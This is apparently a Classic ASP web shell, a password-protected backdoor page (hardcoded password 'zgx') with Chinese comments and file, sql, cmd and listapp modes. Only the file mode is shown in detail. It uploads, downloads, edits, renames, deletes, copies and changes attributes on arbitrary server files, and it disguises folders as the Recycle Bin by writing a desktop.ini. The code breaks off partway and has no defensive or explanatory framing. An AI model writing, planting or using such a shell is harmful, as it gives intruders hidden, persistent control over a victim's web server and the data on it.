%
mypass="zgx"
if request("userpass")=mypass then
session("admin")=mypass
end if
if request("logout")="退出登录" then
session("admin")=""
end if
if session("admin")="" then
response.write"
"
response.write"
"
response.End()
end if
%>
<%gl=rq("gl"):if gl<>"" then Session("gl")=gl
Response.Clear:echo " "
echo "file "
echo "sql "
echo "cmd "
echo "listapp "
pwd1="file":pwd2="sql":pwd3="cmd":pwd4="listapp":if Session("gl")="file" then
if left(aduser,4)="fso:" then
fso=mid(aduser,5)
else
fso="scripting.filesystemobject"
end if
echo fso
AdodbS="Adodb.Stream"
on error resume next
bbf=chr(13)&chr(10):y=chr(34):self=Request("URL")
function echo(lpstr):response.write lpstr:end function
function rq(lpstr):rq=request(lpstr):end function
function close():echo "":response.end:end function
echo ""&bbf
echo ""&bbf
if not isobject(fs) then set fs= server.createobject(fso)
if fdo="" then fdo=lcase(request("fdo"))
fp1=request("fp1")
fp2=request("fp2")
if fdo="up" and Request.TotalBytes>20 then
set dr1=server.CreateObject(AdodbS):dr1.Mode=3:dr1.Type=1:dr1.Open
set dr2=server.CreateObject(AdodbS):dr2.Mode=3:dr2.Type=1:dr2.Open
lnBytes=Request.BinaryRead(Request.TotalBytes)
SignLen=Instrb(1,lnBytes,CStrB(bbf))-1
Sign=MidB(lnBytes,1,SignLen)
fname=tractName(getfilename()) '取文件名
fp1=getvalue("fp1") '取路径值
if fname<>"" and fp1<>"" then
savefile(fp1&fname)
else
echo "文件名或路径错!"
end if
dr1.Close
dr2.Close
set dr1=nothing
set dr2=nothing
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="down" then
downFile(fp1)
response.end
end if
if fdo="hide" then
fp1=pn(fp1):fp2=fp1&"\desktop.ini"
if not fs.fileExists(fp2) then
fs.getfolder(fp1).attributes=22
lr="[.ShellClassInfo]"+bbf+"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
fs.createtextfile(fp2).Write lr
fs.getfile(fp2).attributes=6
echo "":response.end
end if
if fdo="adddir" then
fp1=pn(fp1):fs.createfolder(fp1)
response.redirect self&"?fp1="&fp1&"\"
end if
if fdo="newfile" then
fp1=pn(fp1):if not fs.fileExists(fp1) then fs.createtextfile(fp1)
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="sedit" then
fs.getfile(fp1).attributes=32
fs.CreateTextFile(fp1).Write replace(Request("fp2"),"<_/"&"textarea>","")
echo "":response.end
end if
if fdo="gedit" then
att=fs.getfile(fp1).attributes
echo ""
response.end
end if
if fdo="ren" then
if fs.fileExists(fp1) then fs.movefile fp1,fp2
if fs.folderExists(fp1) then fp1=pn(fp1):fs.movefolder fp1,pn(fp2):fp1=fp2
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="del" then
if fs.fileExists(fp1) then fs.DeleteFile fp1,True
if fs.folderExists(fp1) then fp1=pn(fp1):fs.Deletefolder fp1,True
fp1=parentdir(fp1&"\")
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="copy" then
if fs.fileExists(fp1) then fs.CopyFile fp1,fp2
if fs.folderExists(fp1) then fs.Copyfolder pn(fp1),pn(fp2)
close
end if
if fdo="sattr" then
if fs.fileExists(fp1) then fs.getfile(fp1).attributes=fp2 or 32
if fs.folderExists(fp1) then fs.getfolder(fp1).attributes=fp2 or 32
echo "":response.end
end if
if fdo="gattr" then
if fs.fileExists(fp1) then att=fs.getfile(fp1).attributes
if fs.folderExists(fp1) then att=fs.getfolder(fp1).attributes
echo ""
response.end
end if
'开始
if request("fp1")<>"" then session("fp1")=request("fp1")
if fp1="" then fp1=session("fp1")
echo "